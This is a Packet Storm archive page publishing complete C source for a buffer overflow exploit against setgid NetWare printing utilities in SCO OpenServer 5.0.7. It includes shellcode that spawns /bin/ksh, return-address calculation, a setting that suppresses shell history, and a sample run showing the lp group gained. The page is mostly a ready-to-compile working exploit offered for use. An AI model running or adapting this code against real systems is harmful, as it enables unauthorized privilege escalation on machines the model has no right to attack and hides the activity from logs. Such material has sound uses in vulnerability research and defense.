exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-SCO-netwarex.c

prdelka-vs-SCO-netwarex.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

SCO Openserver 5.0.7 Netware Printing utilities exploit. Multiple buffer overflows exist in the handling of command line arguments in SCO Openserver Netware printing utils. EIP is overwritten after 997 bytes are supplied on the command line. The following binaries are installed setgid 'lp' as default and are vulnerable to this attack.

tags | exploit, overflow
SHA-256 | 83a9ce0000e4291a949433b76dd8e4502dbf1c5dbe40d16fb8f14962865b2148

prdelka-vs-SCO-netwarex.c

Change Mirror Download
/* SCO Openserver 5.0.7 Netware Printing utilities exploit
* =======================================================
* Multiple buffer overflows exist in the handling of command
* line arguements in SCO Openserver Netware printing utils.
* EIP is overwritten after 997 bytes are supplied on the
* command line. The following binaries are installed setgid
* 'lp' as default and are vulnerable to this attack.
*
* /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwlpstat
* /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwcancel
* /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwprint
*
* The exploit calculates the return address using a predictive
* environment.
*
* Example.
* $ uname -a
* SCO_SV scosysv 3.2 5.0.7 i386
* $ id
* uid=200(user) gid=50(group) groups=50(group)
* $ gcc prdelka-vs-SCO-netwarex.c -o prdelka-vs-SCO-netwarex
* $ ./prdelka-vs-SCO-netwarex /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwlpstat
* [ SCO Openserver 5.0.7 netware utilities privilege escalation exploit
* [ Using return address 0x8047f96
* $ id
* uid=200(user) gid=50(group) egid=18(lp) groups=50(group)
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x68\xff\xf8\xff\x3c\x6a\x65\x89"
"\xe6\xf7\x56\x04\xf6\x16\x31\xc0"
"\x50\x68""/ksh""\x68""/bin""\x89"
"\xe3\x50\x50\x53\xb0\x3b\xff\xd6";

int main(int argc,char* argv[])
{
char* buffer;
char *env[] = {"HISTORY=/dev/null",NULL};
long eip,ptr;
int i;
printf("[ SCO Openserver 5.0.7 netware utilities privilege escalation exploit\n");
if(argc < 2)
{
printf("[ Error : [path]\n[ Example: %s /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwlpstat\n",argv[0]);
exit(0);
}
eip = 0x41414141;
buffer = malloc(1000 + sizeof(eip) + strlen(shellcode));
memset(buffer,'\x00',1000 + sizeof(eip) + strlen(shellcode));
ptr = (long)buffer;
strncpy(buffer," ",1);
for(i = 1;i <= 998;i++)
{
strncat(buffer,"A",1);
}
ptr = ptr + 998;
eip = 0x08048000 -4 -strlen(argv[1]) -1;
memcpy((char*)ptr,(char*)&eip,4);
strncat(buffer,shellcode,strlen(shellcode));
printf("[ Using return address 0x%x\n",eip);
execle(argv[1],argv[1],buffer,NULL,env);
exit(0);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close